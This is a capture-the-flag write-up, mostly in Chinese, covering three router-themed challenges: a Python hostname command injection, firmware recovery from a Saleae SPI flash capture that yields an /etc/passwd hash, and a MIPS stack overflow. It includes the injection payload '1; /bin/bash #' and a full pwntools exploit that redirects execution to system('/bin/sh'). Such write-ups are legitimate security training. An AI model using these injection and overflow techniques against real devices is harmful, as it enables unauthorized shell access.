iot

We found a command injection….. but you have to reboot the router to activate it…

Reboot(Misc)

### IMPORTS ###
import os, time, sys


### INPUT ###
hostname = 'bababooey'

while True:
    print('=== MENU ===')
    print('1. Set hostname')
    print('2. Reboot')
    print()
    choice = input('Choice: ')

    if choice == '1':
        hostname = input('Enter new hostname (30 chars max): ')[:30]

    elif choice == '2':
        print("Rebooting...")
        sys.stdout.flush()
        time.sleep(30)
        os.system(f'cat /etc/hosts | grep {hostname} -i')
        print('Reboot complete')

    else:
        print('Invalid choice')

命令注入? 查询了一下shell相关的文档,发现可以通过 ;去连接两条子命令,# 去注释掉 -i

exp

1; /bin/bash #

Sal(HardWare)

A few friends and I recently hacked into a consumer-grade home router. Our first goal was to obtain the firmware. To do that, we hooked up a SOIC-8 clip to the external flash memory chip, connected a Saleae Logic Pro 8 logic analyzer, and captured data using Logic 2 as we booted up the IoT device. The external flash memory chip was Winbond 25Q128JVSQ.

What's the md5sum of /etc/passwd?

Flag format - byuctf{hash}

external flash memory chip(外部存储芯片) 一般用来存数据(文件系统),需要分析Saleae逻辑分析仪捕获的信号,来还原这个文件系统

Saleae logic的官网有分析.sai文件的软件,需要下载这个软件来分析题目的附件

可以发现作者用Saleae logic录制了四个通道

通过阅读文档发现 Winbond 25Q128JVSQ使用的是spi通信协议

SPI 有四条信号线,这里主设备是指控制者,从设备是指flash存储芯片

MOSI(Master Out Slave In): 主设备输出数据,从设备接收数据。
MISO(Master In Slave Out): 主设备接收数据,从设备输出数据。
SCLK(Serial Clock): 时钟信号,由主设备生成,控制数据的传输速率。
SS/CS(Slave Select/Chip Select): 从设备选择信号。当某个从设备被选中(SS为低电平时),它才会响应主设备的指令。

Saleae logic里有一个spi数据分析的插件,可以把读写数据的行为分析出来

分析并且导出数据,得先区分这四个通道分别对应哪四个信号线,读取数据的时候,CS的电平会被拉低,然后通过DI依次输入0x3h以及一个24位的地址,地址被接收后,从设备准备好输出数据时,时钟信号会从高电平变成低电平触发数据输出

所以通道D1是CLK,D2是CS,D3是DI,D4是DO

设置好参数后就可以用spi内存分析的插件去分析数据了

Saleae输出进行parser的项目,可以分析I2C和SPI,并且可以把spi中的read sessions转换成原数据的项目https://github.com/idaholab/Saleae_Output_Parser

使用这个项目进行分析

python3 saleae_parser.py -z spi --binary --device W25Q128JVSQ data.csv

还原成功了,binwalk识别出文件系统了

lhj@lhj-virtual-machine:~/Desktop/byuctf/iot/Saleae_Output_Parser$ binwalk mem_map.bin

DECIMAL       HEXADECIMAL     DESCRIPTION
--------------------------------------------------------------------------------
39192         0x9918          CRC32 polynomial table, little endian
40288         0x9D60          gzip compressed data, maximum compression, from Unix, last modified: 2021-04-28 08:49:30
337944        0x52818         LZMA compressed data, properties: 0x5D, dictionary size: 8388608 bytes, uncompressed size: 7676180 bytes
2949120       0x2D0000        Squashfs filesystem, little endian, version 4.0, compression:xz, size: 3157356 bytes, 734 inodes, blocksize: 131072 bytes, created: 2038-02-22 09:50:56
14548992      0xDE0000        JFFS2 filesystem, little endian

flag byuctf{c8ef3ad94c6eb97f4fa94a0f0ed33980}

lhj@lhj-virtual-machine:~/Desktop/byuctf/iot/Saleae_Output_Parser/_mem_map.bin.extracted/squashfs-root/etc$ cat passwd
root:$6$q6e6auXY$VErm6mljneXnoZfeEg9Z.PDZMi29KP5UKB50DEleSr2DW1z4Bxt.07Y0KQKAzJwNFzas9snKlQXq2LC7gYzwW.:0:0:root:/:/bin/sh
nobody:x:0:0:nobody:/:/dev/null
lhj@lhj-virtual-machine:~/Desktop/byuctf/iot/Saleae_Output_Parser/_mem_map.bin.extracted/squashfs-root/etc$ md5sum passwd
c8ef3ad94c6eb97f4fa94a0f0ed33980  passwd

Token(Pwn,Crypto)

While doing hacking our router, we found a buffer overflow that had to be exploited in conditions similar to these ones. If you've never learned MIPS, now is the time!

这是一个mips32 小端序的程序,首先会生成一个十六字节的key,然后发送出来,然后读取数据到bss段上,判断数据前十六个字节是否符合格式,然后再用aes ecb的方式解密十六个字节后的数据最后parse

int __cdecl main(int argc, const char **argv, const char **envp)
{
  unsigned int v3; // $v0
  unsigned int v4; // $v0
  int i; // [sp+18h] [+18h]
  unsigned int j; // [sp+1Ch] [+1Ch]
  ssize_t v8; // [sp+20h] [+20h]
  int v9; // [sp+24h] [+24h]
  char key[20]; // [sp+28h] [+28h] BYREF
  char cipher[1032]; // [sp+3Ch] [+3Ch] BYREF
  char v12[20]; // [sp+444h] [+444h] BYREF

  strcpy(key, "0123456789abcdef");
  v3 = time(0);
  srand(v3);
  for ( i = 0; i < 16; ++i )
  {
    v4 = rand() & 0x800000FF;
    key[i] = v4;
  }
  write(1, key, 0x10u);
  memset(input_buf, 0, 0x406u);
  v8 = read(0, input_buf, 0x400u);
  if ( v8 < 15 )
    return 1;
  if ( input_buf[0] != 'L' || byte_4140D1 != 'E' || byte_4140D7 != 'G' || byte_4140D8 != 'O' )
    return 1;
  if ( (((_BYTE)v8 - 15) & 0xF) != 0 )
    return 1;
  v9 = (v8 - 15) / 16;
  memset(cipher, 0, 0x406u);
  for ( j = 0; j < v8 - 15; ++j )
    cipher[j] = input_buf[j + 15];
  decrypt_aes_ecb((int)key, (int)cipher, v9);
  memset(v12, 0, sizeof(v12));
  parse(cipher, v12);
  puts(v12);
  return 0;
}

bool __fastcall decrypt_aes_ecb(int a1, int a2, int a3)
{
  _BOOL4 result; // $v0
  int i; // [sp+18h] [+18h]
  char v5[180]; // [sp+1Ch] [+1Ch] BYREF

  for ( i = 0; ; ++i )
  {
    result = i < a3;
    if ( i >= a3 )
      break;
    AES_init_ctx(v5, a1);
    AES_ECB_decrypt(v5, a2 + 16 * i);
  }
  return result;
}

void *__fastcall parse(char *a1, void *a2)
{
  const char *i; // [sp+18h] [+18h]
  char v4; // [sp+1Ch] [+1Ch] BYREF
  char v5; // [sp+2Ch] [+2Ch] BYREF

  if ( !a1 )
    return memcpy(a2, "{\"code\":-2}", 0xBu);
  for ( i = strtok(a1, "&"); i; i = strtok(0, "&") )
  {
    if ( !strncmp(i, "t=", 2u) )
    {
      sscanf(i, "t=%s", &v4);
    }
    else
    {
      if ( strncmp(i, "tz=", 3u) )
        return memcpy(a2, "{\"code\":-1}", 0xBu);
      sscanf(i, "tz=%d", &v5);
    }
  }
  return memcpy(a2, "{\"code\":0}", 0xBu);
}

在parser函数中 解析t=字段的时候value的位置有一个栈溢出,mips在叶子函数调用栈回溯的方式是jmp ra,非叶子函数的回溯方式是把返回地址复制到ra寄存器中再jmp ra,所以劫持控制流jmp到任意地址一次非常简单,但是后续的操作就很麻烦,不能像x86 64中rop的方式,找ret结尾的gadget打rop

程序中有一个输出日志的logging函数有system的引用

int logging()
{
  char v1[516]; // [sp+18h] [+18h] BYREF
  char v2[36]; // [sp+21Ch] [+21Ch] BYREF

  memset(v1, 0, sizeof(v1));
  strcpy(v2, "Imagine this is a log message");
  snprintf(v1, 0x200u, "echo '%s'", v2);
  return system(v1);
}

其中有一个片段是,由于第一次输入的地址是在bss段上的,只需要构造payload的时候加上binsh,覆盖fp为bss就能取到binsh的地址

# .text:0040104C 18 00 C2 27                   addiu   $v0, $fp, 0x240+var_228
# .text:00401050 25 20 40 00                   move    $a0, $v0                         # command
# .text:00401054 7C 80 82 8F                   la      $v0, system
# .text:00401058 25 C8 40 00                   move    $t9, $v0
# .text:0040105C 09 F8 20 03                   jalr    $t9 ; system

sscanf %s导致的溢出有00截断的原因,但是parser函数的实现,可以通过构造多个”t=”的表达式去实现多次栈溢出,首先先把返回地址的低三个字节覆盖,然后再把fp覆盖成bss就好了

exp

from pwn import *
from Crypto.Cipher import AES
from Crypto.Util.Padding import pad


context.log_level = 'debug'

binary = "./token"
elf = context.binary = ELF(binary, checksec=False)
qemu = ELF('/usr/bin/qemu-mipsel',checksec=False)

is_debug = 1

if is_debug:
    p = qemu.process(['-g','1234','-L','./','./token'])
    # p = qemu.process(['-L','./','./token'])
else:
    p = remote("localhost", 1337)

def encrypt_ecb(plaintext, key):
    cipher = AES.new(key, AES.MODE_ECB)
    padded_plaintext = pad(plaintext, AES.block_size)
    ciphertext = cipher.encrypt(padded_plaintext)
    return ciphertext

key = p.recvn(16)
success(f"key: {key.hex()}")

# .text:0040104C 18 00 C2 27                   addiu   $v0, $fp, 0x240+var_228
# .text:00401050 25 20 40 00                   move    $a0, $v0                         # command
# .text:00401054 7C 80 82 8F                   la      $v0, system
# .text:00401058 25 C8 40 00                   move    $t9, $v0
# .text:0040105C 09 F8 20 03                   jalr    $t9 ; system

payload = flat(
    b't=',              # token
    b'A'*20,            # padding
    b'0000',            # stack pointer
    p32(0x40104c)[:-1], # return address
    
    b'&t=',             # token
    b'A'*20,            # padding
    p32(0x41410f)[:-1], # stack pointer (base of input_buf + offset to /bin/sh payload - offset from gadget)
    
    b'&tz=1'            # timezone
)

HEADER = b'LExxxxxGOxxxxxx'
ciphertext = encrypt_ecb(payload, key)
total = HEADER+ciphertext+b'AAAAAAAA/bin/sh\x00'

p.send(total)

p.interactive()
⬆︎TOP